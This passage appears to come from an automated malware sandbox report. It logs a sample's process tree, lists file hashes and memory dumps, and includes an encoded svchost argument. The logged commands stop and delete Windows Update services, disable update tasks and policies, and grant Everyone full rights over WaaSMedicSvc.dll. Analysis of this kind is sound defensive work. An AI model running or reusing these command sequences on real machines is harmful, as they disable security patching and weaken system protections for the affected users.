"\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
-
C:\Windows\system32\sc.exesc stop bits4⤵
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "ayfzchqlcjzzno"4⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe hhmzomdryxklm1 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRSWr9mZW0WjQ8Zp6uvmLE6u5mJa6blLxbhLUBAH2hxKbhKEsyAtsV/R69zSzs3rP9kwrKtV5rbpmU/ciKPfPbhE9OKMMZXsI4UuRWZka8gS1s3HImYphWDV4wtqbeoHFj9g+eZNUoxfSBEn9L8w689dicSe5gi9g1CuCFLqyc7rwP/qjv/3JltIuH5LITKSCk7NXUnWeSDcKY+NEgVfPhJqoLEg0aeDg0KzxJrSUBDIJsbJWIc9iXONDbVMTVT325hS49GeGAI3OCMHKRR3rdOlsV6M9LUsKiFtUKe023Fiqki/2NFI17HEJ11UF+t6f3f98YUZokpWGVfv/F+VZIliwJaLVyzmm8cmJbvj/Kk9fw4aMKco/zTvKVFpN7WHBE5ihOAIdgLEtFFOECZ0VkdHbSg7zj8LXWP3XBDgZmT/PqsiIA0H3OwZNBjcY4rgjXQuml3y2wHeGb80pVVWBuMCIL8sCKDGpDbxiGDcBPcXfVWLdW+mS2VMIb3O/HlHhTYbdCuIHWH/bwUTs0vfQ83nR1mapBl3HhjShQnY40eZw0N1hMUMfCNjyNzWVgfBMhy9MwGaqnFJcQDpiYiVz61SrdLFCtpEnS3/kpJJXUzUBm0N2+JFiygLQGxw1SnSpP2EyTmdeaAN2uFWIS+BKCPJnp+Urs4ZIl3L86i6Tua4xkWIuaHTvQcBBqfq2BUHq/tLhHwx6yCrF/kfnl/5iXfLuCspUzlw6ZMz1cm2MDpBcOg1/gqzqrt+nyVDaTWBNnlqQtGRUYtUgvt5UXluuo835dbfAbWdkMMKIb7n2tZu2O5jsprX3nRnflrXNwa4aGTIlireC/ZpMF870p7vGDEFpva1T0Rd09ATLL1v8gEbuv8MViLO6cBi+L9jUR0yZfcdT7y8lHnRy/+8C79u/c9DjZfyQB8NJv62KZdxCwBzSeLR5MMSp11Y2skr66+YEXG2FRRWrXAlH2bZXv98TaPSbt0i43nk4Yz7s+ytCPFUNIeIoxV9ce2xdOpHqqFCtwT8eJ9EaMxFCuVWhNc9ECcQ2wJtJ2BTuhX2x4mJKeaQTai1sy8DVQYd52treWJZeQG+84IKsCqBOo4TZLL7GKMsSj+J3fMBL82oHYCVo/XwBH9fjo36EWBjibeA1qOBj3n8/hOcGirQ/WjUG5965/cSYWzjatv0njtxER7lnH9HMnXMsHXUpgPeDkQYQe8tWGkKJfOjKWvOKULJTdqwcjKrySMCAnwM23+lrIvjgkHDSFXzrE4bsgtfQQLgMvxtEV0uEXKS5q7oSkWyt2f8078oXmh5OhNyLJn6XCoGx/NQGZ8UxzjcKczeCotM0TNeWj+SABRXgkf1VUKrXmJ0CAlPIjguo+q4co87MqHySF8+C6J7s6n/f1l++/reoGTPOhnw7iNjxqQsdhFqi8WdxxhNztJR1CeWprsRqngRs4eZ0B2KyfMQDOnyRkBthFTsKUv8+JSQD5ORke/9r2kNBdlHH3NamvS16q1YsdXFYsvFCMrBnbCTsCu+tasasTw82VpHrmPvBHdUFcaccuCCLHfZL28RuT4oBeO3lR+nHIbW9b5laMXY0Dn9kqMFd7Vj66+/jyFUG1pVWHJgudOaJbM3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Windows\services.exeFilesize
7.6MB
MD595104aa61ed30687c13e5c644d5722f3
SHA1f9788f808044d448f73203d93da0021cefb781ff
SHA256a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301
SHA51299dcd2463ad6c56eaeedbdd96c8ff0564aadb27b14f0ce047397e8791f1d886d07d104d76908e2ed7e3918c35ca52e643c1d02ed8bde16c76d18dc40b9b66bce
-
C:\Program Files\Windows\services.exeFilesize
7.6MB
MD595104aa61ed30687c13e5c644d5722f3
SHA1f9788f808044d448f73203d93da0021cefb781ff
SHA256a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301
SHA51299dcd2463ad6c56eaeedbdd96c8ff0564aadb27b14f0ce047397e8791f1d886d07d104d76908e2ed7e3918c35ca52e643c1d02ed8bde16c76d18dc40b9b66bce
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.logFilesize
539B
MD584f2160705ac9a032c002f966498ef74
SHA1e9f3db2e1ad24a4f7e5c203af03bbc07235e704c
SHA2567840ca7ea27e8a24ebc4877774be6013ab4f81d1eb83c121e4c3290ceb532d93
SHA512f41c289770d8817ee612e53880d3f6492d50d08fb5104bf76440c2a93539dd25f6f15179b318e67b9202aabbe802941f80ac2dbadfd6ff1081b0d37c33f9da57
-
memory/208-170-0x0000000000000000-mapping.dmp
-
memory/304-210-0x0000000000000000-mapping.dmp
-
memory/316-169-0x0000000000000000-mapping.dmp
-
memory/384-367-0x0000000000000000-mapping.dmp
-
memory/408-176-0x0000000000000000-mapping.dmp
-
memory/428-366-0x0000000000000000-mapping.dmp
-
memory/488-389-0x0000000000000000-mapping.dmp
-
memory/488-179-0x0000000000000000-mapping.dmp
-
memory/500-195-0x0000000000000000-mapping.dmp
-
memory/504-178-0x0000000000000000-mapping.dmp
-
memory/504-368-0x0000000000000000-mapping.dmp
-
memory/704-372-0x0000000000000000-mapping.dmp
-
memory/868-177-0x0000000000000000-mapping.dmp
-
memory/928-365-0x0000000000000000-mapping.dmp
-
memory/1160-188-0x0000000000000000-mapping.dmp
-
memory/1164-122-0x0000018CA9F70000-0x0000018CAA38C000-memory.dmpFilesize
4.1MB
-
memory/1164-136-0x0000018C8EF00000-0x0000018C8F31C000-memory.dmpFilesize
4.1MB
-
memory/1256-191-0x0000000000000000-mapping.dmp
-
memory/1256-393-0x0000000000000000-mapping.dmp
-
memory/1352-185-0x0000000000000000-mapping.dmp
-
memory/1540-130-0x0000000000000000-mapping.dmp
-
memory/1540-135-0x0000020179990000-0x00000201799B2000-memory.dmpFilesize
136KB
-
memory/1540-139-0x0000020179C70000-0x0000020179CE6000-memory.dmpFilesize
472KB
-
memory/1572-392-0x0000000000000000-mapping.dmp
-
memory/1620-363-0x0000000000000000-mapping.dmp
-
memory/1624-357-0x0000000000000000-mapping.dmp
-
memory/1636-173-0x0000000000000000-mapping.dmp
-
memory/1652-189-0x0000000000000000-mapping.dmp
-
memory/1848-174-0x0000000000000000-mapping.dmp
-
memory/2012-391-0x0000000000000000-mapping.dmp
-
memory/2068-182-0x0000000000000000-mapping.dmp
-
memory/2148-168-0x0000000000000000-mapping.dmp
-
memory/2164-377-0x0000000000000000-mapping.dmp
-
memory/2168-183-0x0000000000000000-mapping.dmp
-
memory/2232-266-0x00000156D9950000-0x00000156D995A000-memory.dmpFilesize
40KB
-
memory/2232-211-0x0000000000000000-mapping.dmp
-
memory/2232-226-0x00000156F1CF0000-0x00000156F1D0C000-memory.dmpFilesize
112KB
-
memory/2232-232-0x00000156F1EF0000-0x00000156F1FA9000-memory.dmpFilesize
740KB
-
memory/2236-394-0x0000000000000000-mapping.dmp
-
memory/2404-388-0x0000000000000000-mapping.dmp
-
memory/2428-116-0x0000000000400000-0x0000000001119000-memory.dmpFilesize
13.1MB
-
memory/2460-172-0x0000000000000000-mapping.dmp
-
memory/2472-369-0x0000021370880000-0x0000021370886000-memory.dmpFilesize
24KB
-
memory/2472-381-0x00000213708B0000-0x00000213708C2000-memory.dmpFilesize
72KB
-
memory/2492-190-0x0000000000000000-mapping.dmp
-
memory/2596-382-0x0000000000000000-mapping.dmp
-
memory/2624-181-0x0000000000000000-mapping.dmp
-
memory/2640-402-0x0000000140000000-0x0000000140803000-memory.dmpFilesize
8.0MB
-
memory/2640-404-0x000001E0F6AA0000-0x000001E0F6AE0000-memory.dmpFilesize
256KB
-
memory/2640-400-0x000001E0F6570000-0x000001E0F6590000-memory.dmpFilesize
128KB
-
memory/2640-398-0x0000000140000000-0x0000000140803000-memory.dmpFilesize
8.0MB
-
memory/2640-397-0x0000000140000000-0x0000000140803000-memory.dmpFilesize
8.0MB
-
memory/2640-396-0x000000014036DB84-mapping.dmp
-
memory/2640-395-0x0000000140000000-0x0000000140803000-memory.dmpFilesize
8.0MB
-
memory/2640-414-0x000001E0F6AE0000-0x000001E0F6B00000-memory.dmpFilesize
128KB
-
memory/2704-192-0x0000000000000000-mapping.dmp
-
memory/2740-167-0x0000000000000000-mapping.dmp
-
memory/2772-180-0x0000000000000000-mapping.dmp
-
memory/2780-378-0x0000000000000000-mapping.dmp
-
memory/2840-387-0x0000000000000000-mapping.dmp
-
memory/3120-171-0x0000000000000000-mapping.dmp
-
memory/3168-175-0x0000000000000000-mapping.dmp
-
memory/3192-384-0x0000000000000000-mapping.dmp
-
memory/3192-186-0x0000000000000000-mapping.dmp
-
memory/3344-376-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
-
memory/3344-370-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
-
memory/3344-371-0x0000000000401BEA-mapping.dmp
-
memory/3352-198-0x0000000000400000-0x0000000001119000-memory.dmpFilesize
13.1MB
-
memory/3360-386-0x0000000000000000-mapping.dmp
-
memory/3400-385-0x0000000000000000-mapping.dmp
-
memory/3492-193-0x0000000000000000-mapping.dmp
-
memory/3532-187-0x0000000000000000-mapping.dmp
-
memory/3536-364-0x0000000000000000-mapping.dmp
-
memory/3548-390-0x0000000000000000-mapping.dmp
-
memory/3700-380-0x0000000000000000-mapping.dmp
-
memory/3712-413-0x00000285D25B0000-0x00000285D25B7000-memory.dmpFilesize
28KB
-
memory/3712-410-0x00000285D2CD0000-0x00000285D2CD6000-memory.dmpFilesize
24KB
-
memory/3732-379-0x0000000000000000-mapping.dmp
-
memory/3884-184-0x0000000000000000-mapping.dmp
-
memory/3888-129-0x0000000000000000-mapping.dmp